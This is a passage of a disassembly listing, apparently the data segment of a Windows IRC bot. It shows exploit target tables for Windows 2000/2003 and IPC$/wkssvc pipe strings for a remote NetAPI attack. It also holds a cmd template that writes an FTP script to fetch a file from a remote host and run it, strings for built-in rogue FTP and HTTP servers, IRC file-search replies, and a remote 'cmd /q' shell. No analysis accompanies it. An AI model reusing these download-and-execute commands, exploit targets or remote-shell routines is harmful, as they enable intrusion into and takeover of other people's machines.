uk 2k3 se sp0 9',0 aWindowsUk2k3_8 db 'Windows uk 2k3 se sp0 10',0 align 4 aWindowsUk2k3_9 db 'Windows uk 2k3 se sp0 11',0 align 4 aWindowsUk2k_10 db 'Windows uk 2k3 se sp0 12',0 align 4 aWindowsUk2k_11 db 'Windows uk 2k3 se sp0 13',0 align 10h aWindowsUk2k_12 db 'Windows uk 2k3 se sp0 14',0 align 4 aWindowsUk2k_13 db 'Windows uk 2k3 se sp0 15',0 align 4 aWindowsUk2k_14 db 'Windows uk 2k3 se sp0 16',0 align 4 aWindowsUk2k_15 db 'Windows uk 2k3 se sp0 17',0 align 10h aWindowsUk2k_16 db 'Windows uk 2k3 se sp0 18',0 align 4 aWindowsUk2k_17 db 'Windows uk 2k3 se sp0 19',0 align 4 aWindowsUk2k_18 db 'Windows uk 2k3 se sp0 20',0 align 4 aWindowsUk2k_19 db 'Windows uk 2k3 se sp0 21',0 align 10h aWindowsUk2k_20 db 'Windows uk 2k3 se sp0 22',0 align 4 aWindowsUk2k_21 db 'Windows uk 2k3 se sp0 23',0 align 4 aWindowsUk2k_22 db 'Windows uk 2k3 se sp0 24',0 align 4 aWindowsUk2k3Ee db 'Windows uk 2k3 ee sp0 1',0 aWindowsUk2k_23 db 'Windows uk 2k3 ee sp0 2',0 aWindowsUk2k_24 db 'Windows uk 2k3 ee sp0 3',0 aWindowsUk2k_25 db 'Windows uk 2k3 ee sp0 4',0 aWindowsUk2k_26 db 'Windows uk 2k3 ee sp0 5',0 aWindowsUk2k_27 db 'Windows uk 2k3 ee sp0 6',0 aWindowsUk2k_28 db 'Windows uk 2k3 ee sp0 7',0 aWindowsUk2k_29 db 'Windows uk 2k3 ee sp0 8',0 aWindowsUk2k_30 db 'Windows uk 2k3 ee sp0 9',0 aWindowsUk2k_31 db 'Windows uk 2k3 ee sp0 10',0 align 4 aWindowsUk2k_32 db 'Windows uk 2k3 ee sp0 11',0 align 4 aWindowsUk2k_33 db 'Windows uk 2k3 ee sp0 12',0 align 10h aWindowsUk2k_34 db 'Windows uk 2k3 ee sp0 13',0 align 4 aWindowsUk2k_35 db 'Windows uk 2k3 ee sp0 14',0 align 4 aWindowsUk2k_36 db 'Windows uk 2k3 ee sp0 15',0 align 4 aWindowsUk2k_37 db 'Windows uk 2k3 ee sp0 16',0 align 10h aWindowsUk2k_38 db 'Windows uk 2k3 ee sp0 17',0 align 4 aWindowsUk2k_39 db 'Windows uk 2k3 ee sp0 18',0 align 4 aWindowsUk2k_40 db 'Windows uk 2k3 ee sp0 19',0 align 4 aWindowsUk2k_41 db 'Windows uk 2k3 ee sp0 20',0 align 10h aWindowsUk2k_42 db 'Windows uk 2k3 ee sp0 21',0 align 4 aWindowsUk2k_43 db 'Windows uk 2k3 ee sp0 22',0 align 4 aWindowsUk2k_44 db 'Windows uk 2k3 ee sp0 23',0 align 4 aWindowsUk2k_45 db 'Windows uk 2k3 ee sp0 24',0 align 10h aDosXpAll db 'DoS XP ALL',0 align 4 aWin2kSp4FromPh db 'Win2K SP4 From PhaTTy 1',0 aWin2kSp1FromPh db 'Win2K SP1 From PhaTTy 1',0 aWin2kSp4From_0 db 'Win2K SP4 From PhaTTy 2',0 aWin2kSp4From_1 db 'Win2K SP4 From PhaTTy 3',0 aWin2kSp3FromPh db 'Win2K SP3 From PhaTTy 1',0 aWin2kSp2FromPh db 'Win2K SP2 From PhaTTy 1',0 aWin2kSp1From_0 db 'Win2K SP1 From PhaTTy 2',0 aWin2kSp0FromPh db 'Win2K SP0 From PhaTTy 1',0 aS_32 db '\\%s',0 ; DATA XREF: sub_40F19D+128o align 4 a__4: ; DATA XREF: sub_40F19D+159o unicode 0, <.>,0 aSIpc_0 db '\\%s\ipc$',0 ; DATA XREF: sub_40F19D+16Fo align 4 aSPipeWkssvc db '\\%s\pipe\wkssvc',0 ; DATA XREF: sub_40F19D+1BCo align 4 dword_449668 dd 6BFFD098h, 3610A112h, 0C3463398h, 5A347EF8h, 0 ; DATA XREF: sub_40F19D+21Bo dword_44967C dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0dword_449690 dd 2E646D63h, 657865hunk_449698 db 2 ; DATA XREF: seg000:0040FA2Eo db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 43h ; C db 2, 6Fh, 6Eh db 2 db 6Eh, 2, 65h db 63h ; c db 74h, 2, 42h db 2 db 61h, 63h, 6Bh db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2ErrorSocketFa db '2 Error: socket() failed, returned: <%d>.',0 align 4 unk_4496EC db 2 ; DATA XREF: seg000:0040FAC1o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 43h ; C db 2, 6Fh, 6Eh db 2 db 6Eh, 2, 65h db 63h ; c db 74h, 2, 42h db 2 db 61h, 63h, 6Bh db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2ErrorBindFail db '2 Error: bind() failed, returned: <%d>.',0 align 10h unk_449740 db 2 ; DATA XREF: seg000:0040FB4Co db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 43h ; C db 2, 6Fh, 6Eh db 2 db 6Eh, 2, 65h db 63h ; c db 74h, 2, 42h db 2 db 61h, 63h, 6Bh db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2ErrorBindFa_0 db '2 Error: bind() failed, returned: <%d>.',0 align 4 unk_449794 db 2 ; DATA XREF: seg000:0040FBF2o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 43h ; C db 2, 6Fh, 6Eh db 2 db 6Eh, 2, 65h db 63h ; c db 74h, 2, 42h db 2 db 61h, 63h, 6Bh db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2ClientConnect db '2 Client connection from IP: %s:%d.',0 align 4 aEchoOpenSDOE_1 db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o' ; DATA XREF: seg000:0040FC69o db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: seg000:0040FE96o align 4 aSS_1 db '%s %s',0 ; DATA XREF: seg000:0040FF1Eo align 4 aUser_1 db 'USER',0 ; DATA XREF: seg000:0040FF2Fo align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: seg000:0040FF44o align 4 aPass db 'PASS',0 ; DATA XREF: seg000:0040FF54o align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: seg000:0040FF68o align 4 aSyst db 'SYST',0 ; DATA XREF: seg000:0040FF78o align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: seg000:0040FF8Co align 4 aRest db 'REST',0 ; DATA XREF: seg000:0040FF9Co align 4 a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: seg000:0040FFB0o align 4 off_4498E8 dd offset dword_445750 ; DATA XREF: seg000:0040FFC0o a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: seg000:0040FFD4o align 4 aType db 'TYPE',0 ; DATA XREF: seg000:0040FFE4o align 4 aA_0: ; DATA XREF: seg000:0040FFFBo unicode 0, <A>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: seg000:0041000Fo aType_0 db 'TYPE',0 ; DATA XREF: seg000:0041001Fo align 4 aI: ; DATA XREF: seg000:00410036o unicode 0, <I>,0 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: seg000:0041004Ao aPasv db 'PASV',0 ; DATA XREF: seg000:0041005Ao align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: seg000:0041006Do align 10h aList_0 db 'LIST',0 ; DATA XREF: seg000:004100A8o align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: seg000:004100BBo align 10h aPort db 'PORT',0 ; DATA XREF: seg000:004100E9o align 4 aS_19 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: seg000:00410122o db ']',0 aXX db '%x%x',0Ah,0 ; DATA XREF: seg000:00410163o align 4 aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: seg000:00410196o a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: seg000:004101A7o align 4 aRetr db 'RETR',0 ; DATA XREF: seg000:004101BCo align 4 a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: seg000:004101D4o align 4 dword_449A38 dd 35310302h, 25B302Ch, 91343003h, 1F323003h, 1F024602h ; DATA XREF: seg000:004101FDo dd 2700254h, 2C343003h, 3A353103h, 2203403h, 61740253h dd 74027202h, 26E0269h, 54022067h, 61027202h, 2736E02h dd 72650266h, 6F025420h, 20320302h, 7325h a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: seg000:00410247o dword_449A9C dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 1F024602h ; DATA XREF: seg000:00410259o dd 2700254h, 2C313003h, 3A353103h, 4F320320h, 3430031Fh dd 1F1F1F2Eh, 77323003h, 3430031Fh, 3430032Eh, 24E021Fh dd 3430031Fh, 3230032Eh, 1F1F651Fh, 1F343003h, 30031F2Eh dd 34034432h, 732520h a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: seg000:004102AAo align 4 aQuit_1 db 'QUIT',0 ; DATA XREF: seg000:004102B7o align 10h a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: seg000:004102CBo aRb db 'rb',0 ; DATA XREF: sub_41037E+24o align 10h aGet db 'GET ',0 ; DATA XREF: sub_410418+26Fo align 4 asc_449B48: ; DATA XREF: sub_410418+292o unicode 0, < >,0 asc_449B4C: ; DATA XREF: sub_410418+297o unicode 0, < >,0 aGet_0 db 'GET ',0 ; DATA XREF: sub_410418+2A2o align 4 asc_449B58 db 0Dh,0Ah,0 ; DATA XREF: sub_410418+2D5o align 4 unk_449B5C db 2 ; DATA XREF: sub_410418+3FEo db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 48h ; H db 2, 2 dup(74h) db 2 db 70h, 2, 64h db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2ServerFailedR db '2 server failed, returned %d',0 align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_410879+5Eo align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_410879:loc_4108DEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_410879+83o align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_410879+97o align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_410879+D3o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_410879+F6o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aS_20 db '\%s',0 ; DATA XREF: seg000:00410A2Ao aS_21 db '%s',0 ; DATA XREF: seg000:00410A35o align 4 aSS_2 db '%s%s',0 ; DATA XREF: seg000:00410AE5o align 10h asc_449DC0: ; DATA XREF: seg000:00410AF6o dw 0Ah unicode 0, <>,0 asc_449DC4: ; DATA XREF: seg000:00410B52o unicode 0, <*>,0 unk_449DC8 db 2 ; DATA XREF: seg000:00410C06o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 48h ; H db 2, 2 dup(74h) db 2 db 70h, 2, 64h db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2WorkerThreadO db '2 worker thread of server thread: %d.',0 align 10h unk_449E10 db 2 ; DATA XREF: seg000:00410C8Ao db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 48h ; H db 2, 2 dup(74h) db 2 db 70h, 2, 64h db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2FailedToStart db '2 failed to start worker thread, error %d',0 align 4 asc_449E5C: ; DATA XREF: seg000:00410CD4o dw 0Ah unicode 0, <>,0 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: seg000:00410CF6o aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: seg000:00410D23o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 10h aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: seg000:00410D58o db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: seg000:00410DA2o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: seg000:00410DD6o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: seg000:00410DF2o aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: seg000:00410E6Bo db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 a__ db '..',0 ; DATA XREF: seg000:00410EDDo align 10h a__0: ; DATA XREF: seg000:00410EF8o unicode 0, <.>,0 aPm_0 db 'PM',0 ; DATA XREF: seg000:00410F30o align 4 aAm db 'AM',0 ; DATA XREF: seg000:00410F3Bo align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: seg000:00410F65o aS_22 db '<%s>',0 ; DATA XREF: seg000:00410F8Fo align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: seg000:00410FB9o align 10h aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: seg000:00410FDBo db '<TD WIDTH="%d"><A HREF="',0 align 10h aSS_3 db '%s%s/',0 ; DATA XREF: seg000:0041101Fo align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: seg000:00411066o align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: seg000:loc_41106Do align 10h aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: seg000:004110ACo db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aS_23 db '<%s>',0 ; DATA XREF: seg000:004110BEo align 10h a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: seg000:004110DFo align 10h aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: seg000:0041111Co align 4 aTrTdWidthDAH_0 db '<TR>',0Dh,0Ah ; DATA XREF: seg000:00411131o db '<TD WIDTH="%d"><A HREF="',0 align 4 aSS_4 db '%s%s',0 ; DATA XREF: seg000:00411175o align 10h aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: seg000:004111BCo align 10h aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: seg000:loc_4111C3o align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: seg000:0041120Co db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: seg000:00411234o align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: seg000:004112C3o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: seg000:004112DEo db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: seg000:004112F9o align 4 aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_411418+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_44A334 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F640269h ; DATA XREF: sub_411539+BBo dd 6E021F65h, 2647402h, 2C313003h, 3A353103h, 2203203h dd 696C0243h, 20746E65h, 6F024302h, 26E026Eh, 2746365h dd 6E6F0269h, 2460220h, 36D6F72h, 73252034h, 2E64253Ah dd 0 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_411539+113o dword_44A3A0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F640269h ; DATA XREF: sub_411539+16Eo dd 6E021F65h, 2647402h, 2C313003h, 3A353103h, 2203203h dd 72650253h, 20726576h, 61024602h, 64656C69h, 5202202Ch dd 75746502h, 64656E72h, 25203403h, 64h unk_44A3EC db 2 ; DATA XREF: sub_4116E4+E9o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 52h ; R db 2, 65h, 64h db 2 db 69h, 2, 72h db 2 db 65h, 2, 63h db 74h ; t db 3, 30h, 32h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aClientConnecti db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_44A44C db 2 ; DATA XREF: sub_4116E4+15Eo db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 52h ; R db 2, 65h, 64h db 2 db 69h, 2, 72h db 2 db 65h, 2, 63h db 74h ; t db 3, 30h, 32h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aFailedToStartC db 'Failed to start client thread, error: <%d>.',0 unk_44A4A0 db 2 ; DATA XREF: sub_411875+E1o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 52h ; R db 2, 65h, 64h db 2 db 69h, 2, 72h db 2 db 65h, 2, 63h db 74h ; t db 3, 30h, 32h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aClientConnec_0 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_44A4FC db 2 ; DATA XREF: sub_411875+1AAo db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 52h ; R db 2, 65h, 64h db 2 db 69h, 2, 72h db 2 db 65h, 2, 63h db 74h ; t db 3, 30h, 32h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aFailedToStar_0 db 'Failed to start connection thread, error: <%d>.',0 dword_44A554 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F6C0252h ; DATA XREF: seg000:00411BDAo dd 67021F6Fh, 26E0269h, 30030264h, 31032C31h, 32033A35h dd 2450220h, 726F7272h, 6567203Ah, 65657074h, 6D616E72h dd 3A292865h, 3C203403h, 2E3E6425h, 0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: seg000:00411C6Bo align 4 dword_44A5B4 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F6C0252h ; DATA XREF: seg000:00411C9Bo dd 67021F6Fh, 26E0269h, 30030264h, 31032C31h, 32033A35h dd 2550220h, 20726573h, 26F026Ch, 65026767h, 69206402h dd 34033A6Eh, 73253C20h, 3E732540h, 2Eh dword_44A600 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F6C0252h ; DATA XREF: seg000:00411CBBo dd 67021F6Fh, 26E0269h, 30030264h, 31032C31h, 32033A35h dd 2450220h, 726F7272h, 5302203Ah, 73736502h, 526E6F69h dd 29286E75h, 2034033Ah, 3E64253Ch, 2Eh dword_44A64C dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F6C0252h ; DATA XREF: seg000:00411CE2o dd 67021F6Fh, 26E0269h, 30030264h, 31032C31h, 32033A35h dd 2550220h, 20726573h, 26F026Ch, 65026767h, 6F206402h dd 74027502h, 2034033Ah, 4073253Ch, 2E3E7325h, 0 dword_44A69C dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F6C0252h ; DATA XREF: seg000:loc_411D43o dd 67021F6Fh, 26E0269h, 30030264h, 31032C31h, 32033A35h dd 2500220h, 6F746F72h, 206C6F63h, 74025302h, 676E6972h dd 6F025420h, 6C206F02h, 6E026F02h, 2E67h dword_44A6E8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F6C0252h ; DATA XREF: sub_411D58+1Bo dd 67021F6Fh, 26E0269h, 30030264h, 31032C31h, 32033A35h dd 6F024C20h, 6E696702h, 2657220h, 6365026Ah, 65027402h dd 2202C64h, 6D650252h, 2065746Fh, 73025502h, 33A7265h dd 253C2034h, 73254073h, 2E3Eh, 35310302h, 25B302Ch, 91313003h dd 2343003h, 1F6C0252h, 67021F6Fh, 26E0269h, 30030264h dd 31032C31h, 32033A35h, 6F024C20h, 6E696702h, 2657220h dd 6365026Ah, 65027402h, 2202C64h, 6D650252h, 2065746Fh dd 73025502h, 33A7265h, 253C2034h, 73254073h, 2E3Eh, 35310302h dd 25B302Ch, 91313003h, 2343003h, 1F6C0252h, 67021F6Fh dd 26E0269h, 30030264h, 31032C31h, 32033A35h, 2450220h dd 726F7272h, 5702203Ah, 53415302h, 74726174h, 29287075h dd 2034033Ah, 3E64253Ch, 2Eh, 35310302h, 25B302Ch, 91313003h dd 2343003h, 1F6C0252h, 67021F6Fh, 26E0269h, 30030264h dd 31032C31h, 32033A35h, 2460220h, 656C6961h, 2542064h dd 6920026Fh, 73026E02h, 2610274h, 2206C6Ch, 6E6F0243h dd 6C6F7274h, 243022Dh, 2480220h, 6C646E61h, 202C7265h dd 72024502h, 6F027202h, 34033A72h, 64253C20h, 2E3Eh, 35310302h dd 25B302Ch, 91313003h, 2343003h, 1F6C0252h, 67021F6Fh dd 26E0269h, 30030264h, 31032C31h, 32033A35h, 2520220h dd 79646165h, 2410220h, 220646Eh, 69610257h, 676E6974h dd 2460220h, 6920726Fh, 63026E02h, 26D026Fh, 20676E69h dd 6F024302h, 2656E6Eh, 69740263h, 26E026Fh, 2E73h, 35310302h dd 25B302Ch, 91313003h, 2343003h, 1F6C0252h, 67021F6Fh dd 26E0269h, 30030264h, 31032C31h, 32033A35h, 2430220h dd 6E65696Ch, 43022074h, 6E6E6F02h, 69746365h, 2206E6Fh dd 6F720246h, 5049206Dh, 2034033Ah, 253A7325h, 3202C64h dd 72655332h, 20726576h, 68025402h, 64616572h, 2034033Ah dd 2E6425h, 35310302h, 25B302Ch, 91313003h, 2343003h, 1F6C0252h dd 67021F6Fh, 26E0269h, 30030264h, 31032C31h, 32033A35h dd 2460220h, 656C6961h, 2542064h, 220026Fh, 61740253h dd 2207472h, 696C0243h, 20746E65h, 68025402h, 64616572h dd 4502202Ch, 72027202h, 3A726F02h, 3C203403h, 2E3E6425h dd 0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F6C0252h dd 67021F6Fh, 26E0269h, 30030264h, 31032C31h, 32033A35h dd 2450220h, 6F027272h, 203A7202h, 65025302h, 72657672h dd 2460220h, 656C6961h, 2202C64h, 74650252h, 656E7275h dd 34033A64h, 64253C20h, 2E3Eh unk_44A9F4 db 2 ; DATA XREF: seg000:00412068o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 52h ; R db 2, 6Ch, 1Fh db 6Fh ; o db 1Fh, 67h, 2 db 69h ; i db 2, 6Eh, 64h db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2FailedToCreat db '2 Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_44AA54 db 2 ; DATA XREF: seg000:0041209Ao db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 52h ; R db 2, 6Ch, 1Fh db 6Fh ; o db 1Fh, 67h, 2 db 69h ; i db 2, 6Eh, 64h db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2FailedToCre_0 db '2 Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_44AAB4 db 2 ; DATA XREF: seg000:004120EDo db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 52h ; R db 2, 6Ch, 1Fh db 6Fh ; o db 1Fh, 67h, 2 db 69h ; i db 2, 6Eh, 64h db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2Waitformultip db '2 WaitForMultipleObjects error: <%d>.',0 align 10h unk_44AB00 db 2 ; DATA XREF: sub_412160+5Co db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 52h ; R db 2, 6Ch, 1Fh db 6Fh ; o db 1Fh, 67h, 2 db 69h ; i db 2, 6Eh, 64h db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2FailedToCre_1 db '2 Failed to create shell stdout pipe, error: <%d>.',0 unk_44AB58 db 2 ; DATA XREF: sub_412160+7Eo db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 52h ; R db 2, 6Ch, 1Fh db 6Fh ; o db 1Fh, 67h, 2 db 69h ; i db 2, 6Eh, 64h db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2FailedToCre_2 db '2 Failed to create shell stdin pipe, error: <%d>.',0 align 10h unk_44ABB0 db 2 ; DATA XREF: sub_412160+AFo db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 52h ; R db 2, 6Ch, 1Fh db 6Fh ; o db 1Fh, 67h, 2 db 69h ; i db 2, 6Eh, 64h db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2FailedToExecu db '2 Failed to execute shell.',0 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_412259+8Co align 4 unk_44ABF8 db 2 ; DATA XREF: sub_412259+C3o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 52h ; R db 2, 6Ch, 1Fh db 6Fh ; o db 1Fh, 67h, 2 db 69h ; i db 2, 6Eh, 64h db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2FailedToExe_0 db '2 Failed to execute shell, error: <%d>.',0 align 4 unk_44AC48 db 2 ; DATA XREF: sub_412332+A1o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 52h ; R db 2, 6Ch, 1Fh db 6Fh ; o db 1Fh, 67h, 2 db 69h ; i db 2, 6Eh, 64h db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2Sessionreadsh db '2 SessionReadShellThread exited, error: <%ld>.',0 unk_44AC9C db 2 ; DATA XREF: seg000:004125AFo db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 6Fh db 1Fh db 2, 63h, 2 